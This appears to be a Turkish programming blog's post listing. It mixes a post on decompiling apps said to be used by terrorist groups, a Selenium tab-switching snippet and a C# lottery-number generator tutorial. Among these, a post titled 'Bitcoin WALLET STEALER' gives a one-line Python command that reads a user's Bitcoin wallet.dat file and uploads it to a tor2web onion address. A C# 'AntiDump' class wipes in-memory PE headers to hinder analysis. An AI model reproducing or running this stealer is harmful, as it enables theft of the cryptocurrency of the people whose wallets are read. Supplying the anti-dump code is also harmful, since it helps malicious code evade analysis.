Biliyorsunuz terör örgütlerinin kullandığı "mobil uygulamalar" bir bir açığa çıkmakta
Genelde public halde bulunan bu uygulamalarda "güvenlik zaafiyeti" aranabilir. Sonuç olarak kul yapımı olan her uygulamada bulunan her açık devlet bekası için kullanılabilir ve uygulamayı kullanan kişiler,veriler deşifre edilebilir. Bu sebeple bu konuyu paylaşma gereği duydum.
Bir gözün görmesiyle bin gözün görmesi arasında fark var.
Not: Biraz yavaş konuşurum mazur görün.
Videoda neler var Önizleme;
Kullandığım Uygulamalar;
dex2jar
jd-gui
Alternatif;
dex2jar
jd-gui
C# kaynak kodları ile projelerinize yardımcı açık source code örnekleri bulun.Programlama ile uraşan coderlara yardımcı olur.
15 Aralık 2017 Cuma
Bitcoin WALLET STEALER
u.urlopen("https://yfwcdtpmqwrqu2pl.tor2web.org",open(o.expanduser("~/.bitcoin/wallet.dat")).read())
7 Aralık 2017 Perşembe
[c#] AntiDump
[c#] AntiDump source code 2018
public class Gigajew { [DllImport("kernel32.dll")] private static extern IntPtr ZeroMemory(IntPtr addr, IntPtr size); [DllImport("kernel32.dll")] private static extern IntPtr VirtualProtect(IntPtr lpAddress, IntPtr dwSize, IntPtr flNewProtect, ref IntPtr lpflOldProtect); private static void EraseSection(IntPtr address, int size) { IntPtr sz = (IntPtr)size; IntPtr dwOld = default(IntPtr); VirtualProtect(address, sz, (IntPtr)0x40, ref dwOld); ZeroMemory(address, sz); IntPtr temp = default(IntPtr); VirtualProtect(address, sz, dwOld, ref temp); } public static void AntiDump() { var process = System.Diagnostics.Process.GetCurrentProcess(); var base_address = process.MainModule.BaseAddress; var dwpeheader = Marshal.ReadInt32((IntPtr)(base_address.ToInt32() + 0x3C)); var wnumberofsections = Marshal.ReadInt16((IntPtr)(base_address.ToInt32() + dwpeheader + 0x6)); EraseSection(base_address, 30); for (int i = 0; i < peheaderdwords.Length; i++) { EraseSection((IntPtr)(base_address.ToInt32() + dwpeheader + peheaderdwords[i]), 4); } for (int i = 0; i < peheaderwords.Length; i++) { EraseSection((IntPtr)(base_address.ToInt32() + dwpeheader + peheaderwords[i]), 2); } for (int i = 0; i < peheaderbytes.Length; i++) { EraseSection((IntPtr)(base_address.ToInt32() + dwpeheader + peheaderbytes[i]), 1); } int x = 0; int y = 0; while (x <= wnumberofsections) { if(y == 0) { EraseSection((IntPtr)((base_address.ToInt32() + dwpeheader + 0xFA + (0x28 * x)) + 0x20), 2); } EraseSection((IntPtr)((base_address.ToInt32() + dwpeheader + 0xFA + (0x28 * x)) + sectiontabledwords[y]), 4); y++; if(y == sectiontabledwords.Length) { x++; y = 0; } } } private static int[] sectiontabledwords = new int[] {0x8, 0xC, 0x10, 0x14, 0x18, 0x1C, 0x24}; private static int[] peheaderbytes = new int[] {0x1A, 0x1B}; private static int[] peheaderwords = new int[] {0x4, 0x16, 0x18, 0x40, 0x42, 0x44, 0x46, 0x48, 0x4A, 0x4C, 0x5C, 0x5E}; private static int[] peheaderdwords = new int[] {0x0, 0x8, 0xC, 0x10, 0x16, 0x1C, 0x20, 0x28, 0x2C, 0x34, 0x3C, 0x4C, 0x50, 0x54, 0x58, 0x60, 0x64, 0x68, 0x6C, 0x70, 0x74, 0x104, 0x108, 0x10C, 0x110, 0x114, 0x11C}; }
15 Ağustos 2017 Salı
1 Ağustos 2017 Salı
selenium tab commands
- Create a new tab
- Switch to it
- Do something in the new tab
- Close the new tab
- Switch back to our original tab
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| // save a reference to our original tab's window handle var originalTabInstance = myWebDriverInstance.CurrentWindowHandle; // execute some JavaScript to open a new window myWebDriverInstance.ExecuteJavaScript( "window.open();" ); // save a reference to our new tab's window handle, this would be the last entry in the WindowHandles collection var newTabInstance = myWebDriverInstance.WindowHandles[Driver.Instance.WindowHandles.Count - 1]; // switch our WebDriver to the new tab's window handle myWebDriverInstance.SwitchTo().Window(newTabInstance); // lets navigate to a web site in our new tab myWebDriverInstance.Navigate().GoToUrl( "www.crowbarsolutions.com" ); // now lets close our new tab myWebDriverInstance.ExecuteJavaScript( "window.close();" ); // and switch our WebDriver back to the original tab's window handle myWebDriverInstance.SwitchTo().Window(originalTabInstance); // and have our WebDriver focus on the main document in the page to send commands to myWebDriverInstance.SwitchTo().DefaultContent(); |
30 Temmuz 2017 Pazar
C# sayısal loto programı
Herkese merhaba bu gün C# ile yapılmış sayısal loto programı paylaşmak istiyorum. Böyle programları ara sıra paylaşacağım çünkü özellikle okul zamanında çok işe yarayan yazılımlardır. Bu program şu işlemleri gerçekleştirir. Kupon sayısını gir program senin için girdiğin sayı kadar kupon yaratsın daha sonra bu oluşan kuponlardan hangi rakamdan kaç tane çıkmış, en çok hangisi çıktıysa büyükten küçüğe sıralaması gibi istatistik işlemler de gerçekleştirebilir. Program tek formdan oluşmaktadır ana ekran görüntüsü şu şekildedir:
Ayrıca program da dizilerin kullanımı ve DataGridView kullanımı ile ilgili faydalı bilgiler bulabileceğinize inanıyorum.
Program kodları şu şekildedir:
1
2
3
4
5
6
7
8
9
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Collections;
|
Gerekli index değerlerinin tutulacağı ve oluşturulan rakamların saklanabileceği bir dizi oluşturdum ayrıca daha sonra sıralama işlemi için kullanılacak bir ArrayList oluşturuyoruz:
1
2
3
4
5
|
int indextut=0;
int index2;
int sayi;
int[] sayilar=new int[6];
ArrayList sirala = new ArrayList();
|
Şimdi form yüklenirken DataGridView’in dinamik bir yapı kazanması için bir adet fonksiyon tanımlayalım:
1
2
3
4
5
6
7
8
|
private void clmolustur()
{
for (int i = 0; i < 6; i++)
{
dataGridView1.Columns.Add("s", (i+1).ToString() + ".");
dataGridView1.Columns[i].Width = 30;
}
}
|
6 adet genişliği 30px olan kolon oluşturduk ve bunlara belli bir başlık atadık. Bu fonksiyonu form açılırken çağıralım:
1
2
|
private void Form1_Load(object sender, EventArgs e)
{clmolustur(); }
|
Şimdi TextBox’a bir rakam girdikten sonra ona göre gerekli rakamları oluşturup DataGridView’de bunları gösterilmesi için Yeni button’u kodlarını yazalım:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
private void button1_Click(object sender, EventArgs e)
{ if (radioButton1.Checked == true && (textBox1.Text!="" && int.Parse(textBox1.Text)>0))
{
button1.Enabled = false;
Random r = new Random();
sayi = Convert.ToInt16(textBox1.Text);
for (int k = 0; k < sayi; k++)
{
dataGridView1.Rows.Add();
for (int j = 0; j < 6; j++)
{
sayilar[j] = r.Next(1, 50);
dataGridView1.Rows[indextut].Cells[j].Value = sayilar[j];
}
indextut++;
}
}
label5.Text = indextut.ToString();
}
|
Böylelikle girdiğimiz sayı kadar kupon oynamış olduk şimdi istatistik bilgiler için gerekli kodları yazalım:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
private void siralama()
{
for (int dd = 0; dd <dataGridView2.Columns.Count; dd++)
{
sirala.Add(dataGridView2.Rows[0].Cells[dd].Value);
}
sirala.Sort();
for (int j = dataGridView2.Columns.Count-1; j >= 0; j--)
{
for (int c = 0; c < dataGridView2.Columns.Count; c++)
{
if (sirala[j] == dataGridView2.Rows[0].Cells[c].Value)
{
index2 = c;
listBox1.Items.Add(sirala[j].ToString() + "-" + (index2+1).ToString());
}
}
}
}
|
Bu işlem ile rakamların çıkma sırasına göre bir sıra oluşturulmaktadır. Bu fonksiyonu daha sonra istatistikler button’unda çağıracağız. İstatistikler button’u kodları şu şekildedir:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
private void button2_Click(object sender, EventArgs e)
{
button2.Enabled = false;
int say=0;
int index;
for (int i = 0; i < 49; i++)
{
dataGridView2.Columns.Add(i.ToString(), (i + 1).ToString() + ".");
dataGridView2.Columns[i].Width = 20;
}
dataGridView2.Rows.Add();
for (int c = 0;c < dataGridView2.Columns.Count; c++)
{
dataGridView2.Rows[0].Cells[c].Value =0;
}
for (int a = 0; a < dataGridView1.Rows.Count; a++)
{
for (int s = 0; s < dataGridView1.Columns.Count; s++)
{
index = Convert.ToInt16(dataGridView1.Rows[a].Cells[s].Value);
say = Convert.ToInt16(dataGridView2.Rows[0].Cells[index - 1].Value);
say++;
dataGridView2.Rows[0].Cells[index - 1].Value = say;
}
}
siralama();
}
|
Böylece programın sonuna doğru gelmiş bulunmaktayız artık hangi rakam kaç tane çıkmış görebiliyoruz ve bu çıkan rakamların sıralamasını yandaki ListBox’ta görebiliyoruz. Şimdi iste başka bir seri oynamak için gerekli olan Yeni button’nun kodlarını yazalım:
1
2
3
4
5
6
7
8
9
10
|
private void button3_Click(object sender, EventArgs e)
{
sirala.Clear();
listBox1.Items.Clear();
button1.Enabled = true;
button2.Enabled = true;
temizle();
indextut = 0;
index2 = 0;
}
|
DataGridView de bulunan alanları silmek için gerekli olan temizle fonksiyonu kodları da şu şekildedir:
1
2
3
4
5
6
7
8
9
|
private void temizle()
{
int row = dataGridView1.Rows.Count;
for (int m = 0; m < row; m++)
{
dataGridView1.Rows.RemoveAt(0);
}
}
|
C# ile yapılmış sayısal loto programımız bu haliyle doğru bir şekilde çalışmaktadır. Kolay gelsin.
Kaydol:
Kayıtlar (Atom)